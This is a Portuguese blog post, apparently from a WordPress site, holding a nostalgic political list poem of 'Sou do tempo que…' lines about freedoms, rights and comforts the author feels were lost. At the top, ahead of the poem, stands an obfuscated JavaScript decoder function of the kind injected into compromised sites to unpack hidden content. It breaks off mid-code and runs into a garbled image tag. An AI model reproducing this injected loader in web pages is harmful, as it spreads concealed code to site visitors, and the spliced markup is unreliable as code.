Sou do tempo que…

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5ando.jpg” alt=”” width=”500″ height=”619″ class=”alignnone size-full wp-image-5037″ />

Sou do tempo que, para falar com os amigos, a gente só tinha algumas opções: telefone, telefone celular, skype, twitter, facebook, whatsapp…

Sou do tempo que a gente estava lutando contra essa babaquice de norte, nordeste, sudeste, sul e centro-oeste.

Sou do tempo que a gente podia ligar a televisão com um simples toque no controle remoto ou com o próprio tom de voz e, se não gostasse do que estivesse passando, era só escolher um canal de música pra ouvir deitado no sofá.

Sou do tempo que a gente se preocupava e lutava contra a devastação das nossas florestas.

Sou do tempo que para beber uma cerveja gelada era só ir ao próprio freezer, sacar de lá uma garrafa ou uma latinha e mandar bala.

Sou do tempo que nossos carros só faltavam falar.

Sou do tempo que para ir de um lado ao outro de uma grande cidade era só se espremer entre outros seres humanos e pegar um trem velocíssimo chamado metrô.

Sou do tempo que a gente estava começando a ter uma consciência ambiental e por isso mesmo separava o lixo orgânico do reciclável.

Sou do tempo que, de vez em quando, a gente se programava e conseguia comprar bilhete aéreo pelo preço de uma passagem de ônibus.

Sou do tempo que a gente podia descer o cacete no juiz babaca que dava voz de prisão para quem desrespeitasse o seu desrespeito.

Sou do tempo que o filho da mulher que trabalhava lá em casa podia estudar na Unesp e estava quase se formando em alguma dessas profissões que os irmãos da gente não puderam sonhar.

Sou do tempo que, em vez de tomar sorvete derretido de carrinho na rua, a gente abria o congelador e encontrava tudo o que queria.

Sou do tempo que a gente ficava puto da vida e denunciava os vagabundos que desrespeitavam faixas de pedestre, sarjetas rebaixadas, vagas para idosos e deficientes e outras conquistas da gente.

Sou do tempo que a gente podia comprar livros mais baratos pela internet ou então baixar tudo quanto era obra histórica.

Sou do tempo que as mulheres se relacionavam de igual para igual com os homens.

Sou do tempo que a gente tomava Coca-cola ou guaraná quando bem entendia e não apenas em dias de festa.

Sou do tempo que, em vez de se retrair, a gente falava besteiras pra mãe e ela, ao invés de censurar, ria com a gente.

Sou do tempo que, ao invés de se fechar em copas, a gente saía com os filhos pra tomar cerveja e contava pra eles coisas malucas da própria adolescência.

Sou do tempo que as pessoas, em vez de se trancarem em casa com medo de fantasmas incertos, saíam às ruas para protestar contra as injustiças do mundo.

Sou do tempo que os amigos gays podiam se divertir com a gente sem se esconder da patrulha social de épocas passadas.

Sou do tempo que a gente, em vez de esperar o anúncio de quem seria o governador ou presidente, ia para a urna escolher quem a gente achava melhor.

Sou do tempo que desrespeitar minorias pisoteadas por séculos e séculos de repressão podia acabar em processo, em cadeia, em porrada moral na cabeça dos preconceituosos filhos das putas.

Sou do tempo que, em vez de obedecer cegamente ao pai ou à mãe, a gente pensava e discutia com eles o que a gente achava ser melhor.

Sou do tempo que a gente tinha consciência de todos os medos, e exatamente por isso a gente os enfrentava.

Sou do tempo que a gente podia criticar quem quer que fosse, até mesmo o governador ou o presidente, sem que por causa disso fosse preso, espancado, torturado e morto.

Sou do tempo que a gente queria porque queria recuperar uma coisa legal que estava desaparecendo da face da terra: a humanidade a que todos estamos condenados.

Sou do melhor tempo em que se pôde viver até hoje.

Tags:

Comments are closed.